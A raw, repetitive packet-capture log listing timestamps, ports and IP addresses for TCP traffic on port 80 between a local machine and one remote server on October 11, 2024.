Oct 11, 2024 04:10:45.188344955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188378096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188399076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188455105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188487053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188488007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188520908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188554049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188554049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188587904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188620090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188621044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188661098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188693047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188693047 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188730001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188760042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188762903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188792944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188826084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188826084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188894033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188927889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188946009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188978910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189011097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189013958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189043999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189075947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189074993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189114094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189146042 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189147949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189182997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189215899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189234018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189270020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189304113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189320087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189372063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189399958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189404011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189460993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189496040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189515114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189548016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189579964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189598083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189630985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189662933 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189681053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189714909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189714909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189748049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189752102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189781904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189784050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189811945 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189831972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189866066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189866066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189901114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189935923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.189939022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.189969063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190001011 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190002918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190036058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190067053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190068960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190102100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190134048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190135956 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190169096 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190201998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190202951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190237045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190268040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190269947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190303087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190335035 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190340996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190375090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190406084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190406084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190442085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190473080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190474033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190509081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190540075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190541029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190576077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190607071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190608978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190643072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190673113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.190675974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190709114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.190738916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.195316076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270368099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270414114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270459890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270473003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270493031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270525932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270560980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270577908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270612955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270617962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270657063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270663023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270704031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270709038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270742893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270760059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270793915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270826101 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270845890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270876884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270891905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270929098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270934105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270962954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.270975113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.270996094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271006107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271035910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271040916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271070004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271107912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271109104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271138906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271179914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271179914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271179914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271215916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271260977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271271944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271322966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271356106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271363974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271409988 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271424055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271459103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271471024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271496058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271514893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271533012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271562099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271593094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271605015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271624088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271629095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271646023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271661043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271677017 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271696091 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271708012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271714926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271733046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271747112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271755934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271763086 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271779060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271780014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271794081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271806955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271811008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271826982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271827936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271845102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271852016 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271859884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271874905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271874905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271893978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271900892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271908998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271915913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271925926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271934986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271943092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271944046 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271960020 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271966934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271976948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.271986008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.271994114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272001028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272010088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272016048 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272027016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272037029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272043943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272044897 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272062063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272068024 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272075891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272078037 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272097111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.272104979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272114038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.272138119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275397062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275424004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275480032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275500059 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275510073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275537014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275556087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275557995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275573969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275578022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275590897 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275599003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275607109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275609016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275626898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275630951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275643110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275656939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275660038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275671959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275685072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275705099 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275706053 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275722980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275737047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275747061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275762081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275764942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275775909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275788069 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275804043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275806904 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275820017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275829077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275836945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275841951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275861979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275862932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275871038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275880098 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275892973 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275901079 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275907993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275917053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275924921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275932074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275942087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275950909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275959969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275964022 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275975943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275984049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.275994062 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.275998116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.276011944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.276016951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.276032925 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.276051998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.276343107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.276359081 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.276375055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.276401043 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.276427031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.351815939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.351860046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.351937056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.351947069 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.351989985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352024078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352040052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352067947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352080107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352116108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352128983 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352152109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352161884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352185965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352190971 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352221012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352231026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352252960 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352266073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352287054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352294922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352320910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352329969 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352355957 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352360964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352385044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352394104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352425098 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352436066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352477074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352492094 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352520943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352535009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352560997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352571011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352624893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352633953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352658033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352665901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352691889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352698088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352726936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352734089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352762938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352767944 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352792978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352803946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352827072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352834940 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352861881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352868080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352895021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352902889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352931023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352935076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.352966070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.352974892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353001118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353007078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353035927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353044987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353071928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353075981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353101969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353112936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353137970 CEST	80	49733	104.21.14.133	192.168.2.4
